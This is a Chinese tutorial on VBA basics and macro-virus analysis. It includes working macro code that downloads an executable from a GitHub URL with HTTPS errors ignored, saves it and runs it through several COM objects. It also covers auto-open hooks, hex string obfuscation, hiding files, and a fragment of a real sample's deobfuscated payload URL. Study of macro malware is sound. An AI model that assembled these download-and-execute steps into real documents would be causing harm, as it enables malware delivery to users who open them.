脚本病毒分析扫描专题1-VBA代码阅读扫盲、宏病毒分析

1、Office Macor

MS office宏的编程语言是Visual Basic For Applications(VBA)。

微软在1994年发行的Excel5.0版本中，即具备了VBA的宏功能。开发目的是为了在其桌面应用程序中执行通用的自动化任务，用于扩展Windows的应用程序功能。在分析带有宏病毒的样本前，我们需要对VBA有所了解。才能更顺畅地了解病毒发展中的手段和变化。

2、VBA代码阅读扫盲

(1) 环境介绍

• 打开Excel的开发者工具

当用户希望使用宏功能时，可在“开发工具”选项卡下选择相应命令。在默认情况下，功能区中不显示“开发工具”选项卡，需要用户进行自行设置。

图1

• 保存带宏测试文件

微软为了使用MSOffice用户免遭病毒和危险宏代码的危害，规定不能将宏代码保存在使用标准文件扩展名的标准 Office 文档中。

必须将代码保存在特殊扩展名的文件中。例如不能将宏保存在扩展名为 .docx 的标准 Word 文档中；而是必须使用扩展名为 .docm 且启用了宏的特殊 Word 文档。而Excel则是另存为.xlsm格式。

(2) 宏脚本运行入口点

让Excel工作簿中宏自动运行的两种方法。

方法1：

1、启动Excel并打开包含宏的工作表，在“开发工具”选项卡的“代码”组中单击“宏”按钮打开“宏”对话框。

图2

创建宏名为"Auto_Open"可以实现自动打开的功能。

图3

点击“Visual Basic”按钮就可以编辑对应的宏代码。

会弹出"Hello World”框的示例代码：

方法1：测试代码

01-Auto_Open()_启用宏.xlsm

//自启动函数1
Sub Auto_Open()
MsgBox ("Hello World")
End Sub

方法2：

点击Visual Basic按钮，点击在工程窗口里的ThisWorkbook。选择workbook（对象）

图4

保存该文档为".xlsm"，当再次打开该文档时，宏将自动运行。

在分析病毒的时候，发现Workbook_Open()，Workbook_Activate()都会触发宏的运行。

方法2：测试代码

02-Workbook_Open()_启用宏.xlsm

Private Sub Workbook_Open()
MsgBox ("Hello World ! z")
End Sub

小结：

Auto_Open过程是一个特殊的自定义Sub过程，其包含的代码可以在工作簿打开时自动执行，宏过程写入其中当然也将被自动调用执行。Worksheet对象的Activate事件是在工作表被激活时触发，在该事件代码中调用宏过程将使工作表被激活时宏被启用。

(3) 代码调试

通过录制宏的操作，得到如何对表格赋值的方法。

A1是所选择的表格与列,ActiveCell.FormulaR1C1是进行赋值。

Range("A1").Select '表格选择
ActiveCell.FormulaR1C1 = "1" '赋值

在开启之前首先要开启编译器的窗口。

• 立即窗口：执行单行的语句或显示Debug.Pring所打印的表达式的值。

• 本地窗口：显示当前运行的过程中所包含的变量的值。

• 监视窗口：显示被监视的指定表达式的值。

图5

(4) 变量

声明 变量时，通常使用 Dim 语句。可以在过程中添加声明语句以创建 过程级别变量，也可以将其放置在 模块顶部的声明部分，以创建 模块级别变量。

下面的示例创建变量并指定 字符串数据类型。

strName 是变量的名称，type是变量的类型

Dim strName As 【type】

数据类型分类及表示形式：

(1) 数值型

Byte 、Integer 、Long 、Single 、Double

(2) 字符型

String （可变长度字符串）、String *** length （固定长度字符串）

(3) 日期型

Date

(4) 逻辑型

Boolean

(5) 对象型

Object 或 Variant 。如果未指定数据类型，则默认分配 Variant 数据类型。还可以使用 Type 语句创建 用户定义的类型。

声明的表示形式如下：

Dim sPara As sType
Dim para1, para2, para3
Dim para4 As workbook, para5 As String

用Dim语句创建变量(声明变量) 示例：

Sub 变量定义()
'
' 变量定义 宏
'
    '变量定义
    Dim strA As String
    '变量赋值
    strA = "Hello World"
    Debug.Print strA
End Sub

VBA常用的数据类型定义里参数type是可省略的。对于VBA熟悉的开发者会省略AS采用变量标识符来声明变量类型，遇到这样的代码很容易使分析人员产生疑惑。

图6

类型标识符示例代码：

Sub 类型标识符()
    '类型标识符
    Dim strC$
    strC = "WS发育法"
    Debug.Print strC
End Sub

全局变量

在VBA中，通过Public关键字语句定义全局变量，供多个程序调用。

'声明全局变量
Public strA As String
Sub 过程1()
    ' 变量声明
    Dim strB As String
    ' 变量赋值
    strA = "Hello"
    strB = "World!"
End Sub
Sub 过程2()
    ' 输出变量
    Debug.Print "StrA为" & strA
    Debug.Print "StrB为" & strB
End Sub
Sub 过程()
    ' 调用函数
    Call 过程1
    Call 过程2
End Sub

输出结果：

StrA为Hello
StrB为

模块级变量

还有一种特殊的模块级变量，定义在所有的过程之外，也以Dim进行变量声明。这类变量的作用域是其所在的模块，在这个模块内的任何过程均可调用该变量，但是其他模块不可以调用它。

通过调用两个模块的代码进行验证过程如下：

模块：模块级变量03_01代码：

'声明局部变量
Dim strC As String
Sub 过程3()
    '变量赋值
    strC = "Hello"
End Sub
Sub 过程4()
    '变量赋值
    Debug.Print "StrC为" & strC
End Sub

插入->模块，再输入以下代码：

查看模块间函数调用，变量的变化。

模块：模块级变量03_02

Sub 过程5()
    '变量赋值
    Debug.Print "StrC为" & strC
End Sub
Sub 过程6()
    Call 过程3
    Call 过程4
    Call 过程5
End Sub

输出结果：

StrC为Hello
StrC为

作用域的理解至关重要，简单区分作用域的方法只需要判定变量声明是在哪里，如果在过程内，则作用域为该过程，如果在过程外，以Public声明的变量为全局变量，以Dim或Private声明的变量为模块级变量。

(5) 运算符

VBA除了常规的四则运算外，还能够进行文本连接，比较运算。

其中为了生成的数据更明朗，就用了回车换行。

'chr(10) 可以生成换行符

'chr(13) 可以生成回车符

Sub VBA常用运算()
    '文本连接 F5运行
    Debug.Print """Excel"" & ""WS"" = "; "Excel" & "Virus" & Chr(13) & Chr(10)
    '算数四则运算
    Debug.Print " 1 + 2 * 3 - 4 / 2 = "; 1 + 2 * 3 - 4 / 2 & Chr(13) & Chr(10)
    '整除
    Debug.Print "13 \ 5 = "; 13 \ 5 & Chr(13) & Chr(10)
    '计算余数
    Debug.Print "13 Mod 5 = "; 13 Mod 5 & Chr(13) & Chr(10)
    '比较运算
    Debug.Print "13 > 5 = "; 13 > 5 & Chr(13) & Chr(10)
    Debug.Print "13 < 5 = "; 13 < 5 & Chr(13) & Chr(10)
    Debug.Print "13 <> 5 = "; 13 <> 5 & Chr(13) & Chr(10)
End Sub

文本连接

在VBA中，允许将多个文本通过文本连接符(&)进行连接并组合成新的本文，其基本语法为

EXP1&EXP2&EXP3

加号(+)同样可以用于文本的连接，其运算语法与文本连接符(&)一致，而加号同样可以用作算数运算。

算数四则运算

算数四则运算符包括加(+)、减(-)、乘(*)、除(/)。

(6) 逻辑运算符

在IF判断中遇到多条件的判断，判断是否同时满足两个条件的情形，会用到逻辑运算符。常见的为And、Or、Not

表达式 逻辑运算符 表达式

(7) IF分支选择结构

典型的分支结构，最常用的就是IF...Then...Else结构，语法为：

If 表达式
Then
   声明
Else
   声明

或者

If 表达式 Then
 声明
ElseIf 表达式 Then
  声明
Else
   声明
End If

表达式是逻辑判断表达式，可以是比较，也可以是由逻辑运算符连接的表达式。

单一型IF分支结构代码如下：

Sub IF分支1()
     '变量声明
    Dim NumA As Long  '密码值
    Dim NumB As Long  '数值2
    NumA = 5
    NumB = 6
    If NumA > NumB Then
        Debug.Print "NumA " & NumA
    End If
End Sub

复杂型If分支结构如下：

Sub IF分支2()
    '变量声明
    Dim passwd As Long  '密码值
    Dim input_Code As Long  '数值2
    passwd = 123456
    '两数相加
    'Range("A2").Select
    'ActiveCell.FormulaR1C1 = "1"
    input_Code = Range("A2")
    If input_Code < passwd Then
         Range("A6").Select                   '选择表格A6
         ActiveCell.FormulaR1C1 = "结果小了"  '赋值
    ElseIf input_Code > passwd Then
        Range("A6").Select
         ActiveCell.FormulaR1C1 = "结果大了"
    ElseIf input_Code = passwd Then
        Range("A6").Select
         ActiveCell.FormulaR1C1 = "结果正确"
    End If
    ' 结果输出
    Debug.Print "正确数字为 " & passwd
End Sub

如果满足条件时所需要执行的语句。

图7

(8) Select...Case分支选择结构

Select...Case是VBA中分支结构，当对同一个表达式的值进行多次不同的判断，并根据判断需要进行不同的程序操作时候用到。

语法结构：

Select Case 表达式
Case 表达式
Case 表达式
End Select

不同Case中的表达是表达式的测试值。

示例代码:

Sub Select_Case()
    '变量声明
    Dim NumA As Integer
    NumA = 100
    Select Case NumA
        Case 90 To 100
            Debug.Print "优秀"
        Case 70 To 90
            Debug.Print "良"
        Case 60 To 70
            Debug.Print "及格"
        Case Else
            Debug.Print "不及格"
    End Select
End Sub

输出结果：

优秀

在许多情况下，Select和If分支结构可以互相转换，但两者也有比较大的区别，Select分支结构只能对同一个表达式的值进行分支判断，而If却不受该限制。

(9) 循环结构

Do...Loop循环

Do While 表达式
   声明
Loop

使用Do..Loop循环判断质数示例：

Sub DoWhile循环()
    '变量声明
    Dim Num As Long
    Dim i As Long
    '变量赋值
    Num = 13
    i = 2
    '计算及结果输出
    Do While Num Mod i <> 0   '被2整除不是质数
        i = i + 1
        If i >= 10 Then        ' 如果大于10，退出循环演示
            Exit Do '终止循环'
        End If
    Loop
    If i = Num Then
        Debug.Print Num; "是质数"
    Else
        Debug.Print Num; "不是质数"
    End If
End Sub

输出结果：

 13 不是质数

For...Next循环

对于已知起始值和终止值的循环语句，往往用For...Next结构实现，其语法为：

For 计数器 = 起始值 To 终止值 Step 递增值
   处理
Mext

使用For...Next循环判断质数示例：

Sub For_Next循环()
    '变量声明
    Dim Num As Long
    Dim i As Long
    '变量赋值
    Num = 13
   '计算
   For i = 2 To Num - 1 Step 1
      If Num Mod i = 0 Then
        If i >= 10 Then        ' 如果大于10，退出循环
              Exit For  '退出循环的方式
        End If
      End If
   Next i
   '结果输出
   If i = Num Then
        Debug.Print Num; "是质数"
    Else
        Debug.Print Num; "不是质数"
    End If
End Sub

输出结果：

 13 是质数

在For...Next循环中，需要一个计数器，并为其设置初始值，以及终止值和步长。进入循环后，计数器等于初始值，当执行完Next语句后，计数器将会加上步长(即计数器=计数器+步长)，然后再次进入For语句。VBA将判断计数器是否仍然出于初始值和终止值之间。如果仍在它们之间则继续循环，直到计数器的值超出初始值和终止值所包含的范围。

与退出Do..Loop循环类似，可以利用Exit For循环语句退出当前的For循环。

For_Each_In循环

VBA也有类似Python中遍历数值的循环方法。

For Each...Next循环可以用来访问某个集合中所有的元素，其语法格式为

For Each 元素 In 组
   处理
   [Exit For]
Next 元素

元素为变量，组表示某个集合。组可以表示的集合可以是单元格区域、工作表集合、工作簿集合、数组集合等。

Sub For_each_in循环()
Sheets("Sheet1").Select
Dim r As Range
For Each r In Range("A1:A10")
   Debug.Print r.Value;
   If r.Value = 1 Then  '如果值为1就修改为 666666
   r.Value = 666666
   End If
Next
End Sub

输出结果：

图8

(10) 数组表达

数组表示一组数据的集合，在VBA中，允许将多个类型相同或者不相同的数据组合成一个集合，然后用其下标访问其每个元素。

一维数组表示方式如下：

Array(index)

该表达式表示数组中的一个元素。其中Array表示一个数组变量，Index为其下标。数组的下表可以为正数、负数或者0，但是必须为整数。

数组可以具有多个下标，该数组即为多维数组。多维数组的元素使用以下表达式表示：

Array(index1,index2[[,index3],...,index])

其中，index1至indexs表示不同维度的数组下标，在VBA中，数组的维度最多不超过60。

数组声明

按数组元素个数是否固定可以分为固定大小的数组和动态数组。固定大小的数组的维度以及各个维度的大小是固定的。

Dim ArrayName(LB1 To UB1)

ArrayName 表示数组变量的名称，LBn和UBn分别表示不同维度上的数组的下限和上限。不同维度上的LB及UB可以各不相同。

Ubound和Lbound函数获取数组的上下限

Ubound和Lbound函数分别获取已定义大小的数组在不同维度的上限和下限。

一维数组示例代码：

Sub 数组示例00()
    Sheets("Sheet2").Select
    Dim Arr(3)
    Arr(1) = 1
    Arr(2) = 2
    Arr(3) = 3
    For Index = 0 To UBound(Arr)
       Debug.Print Arr(Index)
    Next
End Sub

输出结果：

1
2
3

多维数组示例代码：

Sub 数组示例01()
    Sheets("Sheet2").Select
    Dim Arr()               '声明数组
    Arr = Range("A1").CurrentRegion.Value             '返回活动单元格所在的周围由空行和空列组成的单元格区域
    For RowN = 2 To UBound(Arr)                       '返回指定数组维数的最大下标。
        Debug.Print "当前单元格数据：" & Arr(RowN, 1)
    Next
End Sub

输出结果

图9

多维数组统计项目示例代码：

Sub 数组进行统计()
    '变量声明
     Dim Arr()               '声明数组
     Dim RowN As Long        '数组中的行号
     Dim TotalQTY As Long    '合计数量
     Dim TotalAmount As Long '合计金额
     Dim sType As String     '姓名
     '获取报告数量
     sType = Range("F2").Value
     '合计数清0
     TotalQTY = 0
     TotalAmount = 0
     '将数据读入数组中
     Arr = Range("A1").CurrentRegion.Value             '返回活动单元格所在的周围由空行和空列组成的单元格区域
     '遍历数组中的每条记录，第1个维度
     For RowN = 2 To UBound(Arr)                       '返回指定数组维数的最大下标。
        '若规格型号相符
        If Arr(RowN, 1) = sType Then
           '累加数量和金额
           TotalQTY = TotalQTY + Arr(RowN, 2)          '报告数量
           TotalAmount = TotalAmount + Arr(RowN, 3)    '项目金额
        End If
    Next
    '结果输出
    Range("G2").Value = TotalQTY
    Range("H2").Value = TotalAmount
End Sub

输出结果

图10

(11) 字符串操作

常用函数说明

Hex与Hex2Dec函数

利用Hex函数可以将十进制数转换为十六进制数，Hex2Dec函数可以将十六进制数转换为十进制数。

Hex(number) 其中参数number为十进制数
HEX2DEC(参数) 十六进制转换为十进制

通过这样的内置函数可以把某些字符转换为进制编码，然后在内部执行时再转换回来。

示例代码：

Sub 转换进制_1()
   Sheets("Sheet3").Select                           '指定表
    ' 变量声明
    Dim RowN As Long
    '开始循环遍历
    For RowN = 2 To Cells(Rows.Count, "A").End(xlUp).Row   '选定包含单元格A区域中A列顶端的单元格，此部分从第2列开始。
        '使用VBA函数转换为十六进制数
        Cells(RowN, "B").Value = "'" & CStr(Hex(Cells(RowN, "A").Value)) '选定包含单元格B区域中B列顶端的单元格。
        '使用工作表函数转换为十进制
        Cells(RowN, "C").Value = _
            WorksheetFunction.Hex2Dec(Cells(RowN, "B").Value)                '选定包含单元格B区域中B列顶端的单元格。
    Next RowN
End Sub

输出结果：

图11

在早些时候，很多利用ACCESS或是SQL Server数据库的SQL注入手段通过内置的函数将原有的词义分割绕过WAF，与在Offcice系列中的宏病毒手法异曲同工。

示例代码：

字符转十六进制，十六进制转字符

Sub 转换进制2_原型()
    Sheets("Sheet4").Select                           '指定表
    ' 变量声明
    Dim RowA$, RowB$, str$
    Dim strA$, strB$
    '开始循环遍历
    str = "MZ"
    RowA = Hex(AscW(Left(str, 1)))  '选取最左边第一个字符
    RowB = Hex(AscW(Right(str, 1))) '选取最右边第一个字符
    Debug.Print RowA + RowB
    '开始循环遍历
    strA = Chr(WorksheetFunction.Hex2Dec(RowA)) '十六进制转换为十进制，十进制转字符
    strB = Chr(WorksheetFunction.Hex2Dec(RowB)) '十六进制转换为十进制，十进制转字符
    Debug.Print "I am PE First Two char: "; strA + strB
    '有条件性进行演示一句话木马免杀原理。
End Sub

输出成果：

4D5A
I am PE First Two char: MZ

文本函数

VBA处理文本的函数和语句，其中包括Instr函数、Replace函数、Left函数、Right函数、MID函数。

• Instr函数

InStr(开始位置,字符串1，字符串2,[模式选择:二进制比较,文本比较])

参数开始位置，表示查找的起始未知，该参数可以省略

参数字符串1，表示被搜索的文本(字符串)，即在哪里查找

参数字符串2，表示需要查找的

可选参数为字符串的比较方式，当参数省略时候，就用Option Conpare语句指定的比较方式。

筛选包含字符的记录示例代码：

Sub 筛选包含某字符的记录()
    '变量声明
    Dim RowN As Long
    Sheets("Sheet2").Select '选择第二张表
    ' 显示所有记录
    Cells.Rows.Hidden = False
    '循环遍历每一行
    For RowN = 2 To Cells(Rows.Count, "A").End(xlUp).Row
        '判断是否含有“上海”
        If InStr(1, Cells(RowN, "B").Value, "上海") = 0 Then
            '若不含有，则隐藏
            Rows(RowN).Hidden = True
        End If
    Next
End Sub

输出成果：

图12

Instr函数在字符串中查找字符的顺序是从左到右，还有个与它类似的函数InstrRev函数方向顺序是以右到左。

Replace函数

替换文本中的指定文本

示例代码：

Sub Replace函数()
Dim txt, strA
txt = "Hello World !"
Debug.Print txt                                           '输出原有的结果
strA = Replace(txt, "World", "World ! Your Are Hacker!")  '将World替换为World ! Your Are Hacker!
Debug.Print strA
End Sub

输出结果

Hello World !
Hello World ! Your Are Hacker! !

Split函数

Split函数可以将一个文本以特定的分隔符号拆分为一个以0为下限的一维数组，并返回该数组。

Split(表达式,拆分符号)

参数表达式的位置为一个文本表达式，表示需要被拆分的文本。

参数拆分符号的位置表示作为分隔符文本表达式。

示例代码：

Sub 文本函数_Split函数_04()
    Sheets("Sheet1").Select
    Dim Arr()                                         '声明数组
    Dim str                                         '存放字符串的位置
    Dim i As Integer
    Arr = Range("B1").CurrentRegion.Value             '返回活动单元格所在的周围由空行和空列组成的单元格区域
    For RowN = 2 To UBound(Arr)                       '返回指定数组维数的最大下标。
        Debug.Print "当前单元格数据：" & Arr(RowN, 2)
        str = Split(Arr(RowN, 2), "，")               '分割函数，以，为分割符号
        Range("A13:A50").ClearContents               '清空整列内容
        For i = 0 To UBound(str)
            'Debug.Print str(i)
            '分隔出来的IP批量输出
            Cells(13 + i, 1).Select
            Cells(13 + i, 1).Value = str(i)
        Next
    Next
End Sub

输出成果：

图13

(12) 文件读写

文件遍历

• Dir函数

Dir函数用以查找指定路径的文件是否存在，若存在，则返回该文件的文件名，若不存在，则返回空字符(“”)。

Sub 创建文件清单()
    Sheets("Sheet1").Select
     Sheet1.Range("A4:A200").ClearContents
    '变量声明
    Dim sPath As String      ' 文件路径
    Dim sFileName As String  ' 文件名
    Dim LRowN As Long        ' 结果输出的行号
    ' 获取文件路径，并加入路径分隔符
    'sPath = Cells(2, 1).Value & Application.PathSeparator   '获取自定义文件路径 & 添加一个\
    ' 返回当前工作簿的路径
    ' sPath = ThisWorkbook.Path & Application.PathSeparator
    ' 返回当前默认文件路径:
    ' sPath = Application.DefaultFilePath
'
'    '只返回路径
    sPath = Application.ActiveWorkbook.Path & Application.PathSeparator
'
'    '返回路径及工作簿文件名
'    sPath = Application.ActiveWorkbook.FullName
'
'    '工作簿文件名
'    sPath = Application.ActiveWorkbook.Name&
    ' 设定起始行号为4
    LRowN = 4
    '查找文件
    sFileName = Dir(sPath & "*", vbDirectory)
    '当文件被找到时，不断循环
    Do While sFileName <> ""
    '输出文件名
    Cells(LRowN, 1).Value = sFileName
    '查找下一个
    sFileName = Dir
    ' 结果输出行号增加1
    LRowN = LRowN + 1
    Loop
End Sub

输出结果：

文件属性

• GetAtt函数

GetAttr(pathname)

其中参数pathname为文件或文件夹的完整路径，返回值为文件的属性，具体如下表：

• SetAttr函数

SetAttr pathname,attributes

其中参数pathname为文件的完整路径。参数attrbutes表示修改后的文件属性。

示例代码：

Sub 文件属性02()
    ' 获取文件属性
   StrAttr = GetAttr("C:\Users\AT\Desktop\课程附件\01-Auto_Open()_启用宏.xlsm")
   If StrAttr = 0 Then
      Debug.Print "无属性文件"
   ElseIf StrAttr = 16 Then
      Debug.Print "文件夹"
   ElseIf StrAttr = 2 Then
      Debug.Print "隐藏文件"
   End If
    ' 设置文件属性
    SetAttr "C:\Users\AT\Desktop\课程附件\01-Auto_Open()_启用宏.xlsm", vbHidden
End Sub

• FileCopy函数

FileCopy语句可以复制文件并重新命名，其语法为：

FileCopy source,destnation

其中，参数source为源文件的完整路径，包括文件路径和文件名。

参数destination为目标文件的完整路径，包括文件路径和文件名。

示例代码：

Sub 操作文件_复制文件03()
    '容错代码
    On Error Resume Next
    '变量声明
    Dim sPathOld As String  ' 源文件夹路径
    Dim sPathNew As String  ' 目标文件夹名字
    Dim sFileNameOld As String '旧文件名
    Dim sFileNameNew As String '新文件名
    '获取源文件夹路径
    sPathOld = ThisWorkbook.Path & "\"
    sPathNew = ThisWorkbook.Path & "\FileCopy_test\"
    '获取目标文件夹路径下有没有test目录
    If Dir(sPathNew, 16) = Empty Then
        '如果没有就创建文件夹
        VBA.MkDir (sPathNew)
    End If
    '查找源文件夹中的文件
    sFileNameOld = Dir(sPathOld & "*")
    '当查找结果存在时不断循环
    Do While sFileNameOld <> ""
       '设定新文件名
        sFileNameNew = sFileNameOld & ".Bak"
        ' 复制文件名并改名
        FileCopy sPathOld & sFileNameOld, sPathNew & sFileNameNew
        '查找下一个文件
       sFileNameOld = Dir
    Loop
End Sub

输出结果：

图14

3、常用对象

VBS本身是无法执行命令的，只有通过创建对象的方式调用组件才可以执行命令。

• CreateObject 函数

创建并返回对ActiveX 对象的引用。

语法如下：

CreateObject (类、 [服务器名称]）
Dim ExcelSheet As Object
Set ExcelSheet = CreateObject("Object")

CreateObject函数创建的是COM对象，第一个参数是COM对象的ProgID。

查看示例程序【13-CreatObject().xlsm】-01，可以遍历出在操作系统中我们可以使用的对象。

常用的对象如下：

ADODB.Stream
Msxml2.XMLHTTP
Shell.Application
Scripting.FileSystemObject
WScript.Shell
InternetExplorer.Application

(1) ADODB.Stream 对象

常用方法

• • Mode

打开模式

属性 为打开模式 1.只读 2.只写 3.读写

• • Type

Type 指定或返回的数据类型，可选参数为：

     adTypeBinary = 1 二进制形式打开
     adTypeText = 2  文本形式打开

• • Open

打开对象

参数说明：Sourece 对象源，可不指定参数

Object.Open(Source,[Mode],[Options],[UserName],[Password])

• • Write

说明：将指定的数据装入对象中。

Object.Write(Buffer)

• • WriteText

说明：将指定的文本数据装入对像中。

参数说明：Data 为指定的要写入的内容。

使用方法如下：

Object.Write(Data,[Options])

• • SaveToFile

说明：将对像的内容写到FileName指定的文件中

参数说明：FileName指定的文件

Object.SaveToFile(FileName,[Options]) 

Options 存取的选项，可不指定，可选参数如下：

adSaveCreateNotExist =1

adSaveCreateOverWrite =2

示例代码：

ADODB_Stream对象02

Sub ADODB_Stream对象()
    'adTypeBinary = 1 二进制形式打开
    'adTypeText = 2  文本形式打开
     Const adTypeBinary = 2
     '属性 为打开模式 1.只读 2.只写 3.读写
     Const adSaveCreateOverwrite = 2
     Const adModeReadWrite = 3
     contents = "I am Nobaddy"                 ' 保存的文本
     Set oStr = CreateObject("ADODB.Stream")   ' 创建对象
     oStr.Mode = adModeReadWrite               ' 指定打开模式
     oStr.Type = adTypeBinary                  ' 打开类型
     oStr.Open                                 ' 打开文件
     oStr.WriteText contents                   ' 保存文件的方式  WriteText 或者 Write
     oStr.SaveToFile ThisWorkbook.Path & "\ADODB_Stream_Test.txt", adSaveCreateOverwrite
End Sub

(2) Msxml2.XMLHTTP 对象

XMLHTTP是个传送XML格式数据的超文本传输协议。

它上传的指令可以是XML格式数据，也可以是字符串，流，或者一个无符号整数数组。还可以是URL的参数。

• • Open

以什么方式打开网页

open(bstrMethod, bstrUrl, varAsync, bstrUser, bstrPassword)
bstrMethod： 数据传送方式，即GET或POST。用"POST"方式发送数据,可以大到4MB，也可以换为"GET"，只能256KB。
bstrUrl： 服务网页的URL。 
varAsync： 是否同步执行。缺省为True，即同步执行，但只能在DOM中实施同步执行。用中一般将其置为False，即异步执行。 
bstrUser： 用户名，可省略。 
bstrPassword：用户口令，可省略。

• • Send

varBody：指令集。可以是XML格式数据，也可以是字符串，流，或者一个无符号整数数组。也可以省略，让指令通过Open方法的URL参数代入。发送数据的方式分为同步和异步两种。在异步方式下，数据包一旦发送完毕，就结束Send进程，客户机执行的操作；而在同步方式下，客户机要等到服务器返回确认消息后才结束Send进程。

• • 返回内容

readyState
XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示：
值 说明
0 Response对象已经创建，但XML文档上载过程尚未结束
1 XML文档已经装载完毕
2 XML文档已经装载完毕，正在处理中
3 部分XML文档已经解析
4 文档已经解析完毕，客户端可以接受返回消息
responseBody
Variant型 结果返回为无符号整数数组
responseStream
Variant型 结果返回为IStream流
responseText
string型 结果返回为字符串。
responseXML
object型 结果返回为XML格式数据。

Msxml2.XMLHTTP 和 Microsoft.XMLHTTP 都好用，当遇到HTTPS的情况需要特殊处理。

从HTTPS网站下载EXE方法如下：

方法1：添加一个http.SetOption 2,13056 忽略https错误，注意写入权限
方法2：使用WinHttp.WinHttpRequest.5.1对象
方法3：使用Msxml2.ServerXMLHTTP.6.0

示例代码：

模块：XMLHTTP对象03

Sub XMLHTTP对象03_01()
    myURL = "file://C:\Windows\System32\calc.exe"
    Set Post = CreateObject("Microsoft.XMLHTTP")  '建立XMLHTTP对象
    Post.Open "GET", myURL, 0                     '打开方法
    Post.Send                                     '发送
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open
    aGet.Write (Post.responseBody)                '把获取到的内容保存到本地
    aGet.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
End Sub
Sub XMLHTTP对象03_02()
    myURL = "file://C:\Windows\System32\calc.exe"
    Set Post = CreateObject("Msxml2.XMLHTTP")
    Post.Open "GET", myURL, 0
    Post.Send
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open
    aGet.Write (Post.responseBody)
    aGet.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
End Sub
'下载https的方法1
'加一个http.SetOption 2,13056 忽略https错误，注意写入权限
Sub XMLHTTP对象03_03()
    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim http, ado
    Set http = CreateObject("Msxml2.serverXMLHTTP")
    http.SetOption 2, 13056                                      '忽略HTTPS的错误
    http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
    http.Send
    Set ado = CreateObject("Adodb.Stream")
    ado.Type = adTypeBinary
    ado.Open
    ado.Write http.responseBody
    ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
    ado.Close
End Sub
'下载https的方法2
'使用WinHttp.WinHttpRequest.5.1
Sub XMLHTTP对象03_04()
    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim http, ado
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1") '调用WinHttp.WinHttpRequest.5.1                        '
    http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
    http.Send
    Set ado = CreateObject("Adodb.Stream")
    ado.Type = adTypeBinary
    ado.Open
    ado.Write http.responseBody
    ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
    ado.Close
End Sub
'下载https的方法3
'使用Msxml2.ServerXMLHTTP.6.0
Sub XMLHTTP对象03_05()
    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim http, ado
    Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")  '调用Msxml2.ServerXMLHTTP.6.0                  '
    http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
    http.Send
    Set ado = CreateObject("Adodb.Stream")
    ado.Type = adTypeBinary
    ado.Open
    ado.Write http.responseBody
    ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
    ado.Close
End Sub

(3) 执行命令对象与函数

• • Shell函数

执行一个程序。

参数说明：

• vbHide 0 :隐藏窗口并将焦点传递给隐藏的窗口

Shell "程序路径",0
Shell ThisWorkbook.Path & "\XMLHTTP_calc.exe", 0  ' Shell函数

• • Shell.Application对象

参数说明：

• NameSpace() 返回指定文件夹的Folder类目标
• Items() 返回FolderItems目标
• Item() 获取FolderItems目标的某个值的索引
• InvokeVerb 打开目标（运行程序）
• Open 打开程序
• Verbs 得到FolderItemVerbs类目标
• FileRun 运行程序

示例代码：

Sub shell_application对象04()
Set objShellApp = CreateObject("Shell.Application")
Set objFolder = objShellApp.Namespace(ThisWorkbook.Path & "\")
objFolder.Items().Item("XMLHTTP_calc.exe").invokeverb              '方法1
objFolder.Items().Item("XMLHTTP_calc.exe").InvokeVerbEx            '方法2
objShellApp.Open (ThisWorkbook.Path & "\XMLHTTP_calc.exe")         '方法3
objShellApp.ShellExecute "XMLHTTP_calc.exe", "", ThisWorkbook.Path & "\", "", "1" '方法4,可以加参数和设置参数值
Set objFolderItem = objShellApp.Namespace(ThisWorkbook.Path & "\").Items().Item("XMLHTTP_calc.exe")  '方法5
Set objFIVs = objFolderItem.Verbs()
For i = 0 To objFIVs.Count - 1
    'MsgBox objFIVs.Item(i)
    Set objFIV = objFIVs.Item(i)
    If objFIV.Name = "打开(&O)" Then '右键菜单中在中文系统是"打开(&O)"，英文自己改
        objFIV.DoIt                      '执行程序
        Exit For
    End If
Next
objShellApp.FileRun ThisWorkbook.Path & "\XMLHTTP_calc.exe"  '方法6
End Sub

• • Wscript.Shell对象

参数说明：

• Run 运行应用程序

示例代码：

Sub Wscript_Shell对象01()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ThisWorkbook.Path & "\XMLHTTP_calc.exe"
Set objShell_1 = CreateObject("Wscript.Shell.1")
objShell_1.Run ThisWorkbook.Path & "\XMLHTTP_calc.exe"
End Sub

4、案例：宏病毒分析

目前遇到的纯用宏感染的病毒家族APMP(感染性)、lokcy(勒索者)、ATP(钓鱼邮件)。

(1) 调试环境

• 操作系统：Windows 7
• 监控与调试工具：WireShark、火绒剑、文档自带宏编译器
• 样本HASH值：b5ee8925742637a8484f6e1cb08a1c989cb4a8f9e66a8179c929dd789c07c06d

(2) 调试过程

样本是从某平台上看到的文章《一款流行的VBA宏病毒技术分析》根据IOC搜索出来的

• 思路：

程序主函数->调用的对象->网络行为->文件行为

• 主函数

ThisDocument 模块下的 autoopen() 函数。

主函数
Sub autoopen()
' 传了个数值
VEeve (8.2)
End Sub
' 调用函数
Sub VEeve(FFFFF As Long)
' 调用病毒主函数
LWS8UPvw1QGKq
End Sub

• 病毒主函数代码分析

进入LWS8UPvw1QGKq函数，F8单步跟踪。

• • 网络行为主要实现

通过关键函数调试，使用Debug.Print输出的加密函数内容。

' 加密字符串 ht=tp:/;/chateau-d<es-iles.=com/<4tf32018/4/3 11:40:07 : WScript.Shell
